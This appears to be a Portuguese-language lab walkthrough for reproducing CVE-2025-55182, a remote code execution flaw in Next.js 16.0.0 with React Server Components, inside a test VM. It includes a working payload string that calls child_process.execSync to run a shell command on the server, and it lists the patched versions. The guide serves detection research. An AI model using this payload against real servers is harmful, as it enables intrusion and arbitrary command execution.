
Laboratório reproduzível demonstrando CVE-2025-55182 Remote Code Execution contra Next.js 16.0.0 com React Server Components, incluindo execução de exploit externo e verificação de efeitos colaterais.
Este documento fornece uma configuração completa e reproduzível para demonstrar a Execução Remota de Código (RCE) CVE-2025-55182 contra um ambiente vulnerável Next.js + React Server Components executado dentro de uma VM Ubuntu Multipass.
O exploit é executado de fora da VM, provando a explorabilidade remota e preparando o ambiente para detecção de comportamento anômalo.
Source: https://github.com/ejpir/CVE-2025-55182-research
sudo apt update && sudo apt upgrade -y
sudo apt install -y curl git build-essential
curl -fsSL https://deb.nodesource.com/setup_20.x | sudo -E bash -
sudo apt install -y nodejs
Verificar:
node -v
npm -v
sudo adduser reactlab
sudo usermod -aG sudo reactlab
su - reactlab
mkdir ~/react2shell-lab
cd ~/react2shell-lab
npx create-next-app@latest vulnerable-app
cd vulnerable-app
package.jsonEditar dependências:
"dependencies": {
"next": "16.0.0",
"react": "19.1.0",
"react-dom": "19.1.0"
}
Reinstalar pacotes:
rm -rf node_modules package-lock.json
npm install
Verificar:
npm list react react-dom next
Esperado:
[email protected]
[email protected]
[email protected]
npm run build
npm start
Saída esperada:
▲ Next.js 16.0.0
Local: http://localhost:3000
Network: http://10.X.X.X:3000

Em outra máquina:
curl http://10.102.169.126:3000
Você deve receber a página HTML padrão do Next.js.
cd ~
git clone https://github.com/ejpir/CVE-2025-55182-research
cd CVE-2025-55182-research
Encontrar:
hostname: 'localhost',
Substituir por:
hostname: '10.X.X.X',
Com o Next ainda em execução:
node test-simple.cjs
Esperado no terminal do Next.js:
NON-CHUNKED-RCE
Isso confirma a execução remota de código via React Flight usando as versões vulneráveis.

O objetivo é gerar comportamento observável (sistema de arquivos + execução de processo).
_prefix dentro de test-simple.cjsLocalizar:
"_prefix": "console.log('NON-CHUNKED-RCE');//"
Substituir por:
"_prefix": "process.mainModule.require('child_process').execSync('touch /tmp/cve-2025-55182-syscall');console.log('NON-CHUNKED-RCE');//"
Nota: require não está disponível no contexto de execução, mas process.mainModule.require() está.
Certifique-se de que o Next está em execução, então:
node test-simple.cjs
Verificar criação de arquivo:
ls -l /tmp/
Você deve ver:
cve-2025-55182-syscall
Isso confirma RCE funcional com efeitos colaterais.

Correção:
React ≥ 19.2.1
Next.js ≥ 16.0.7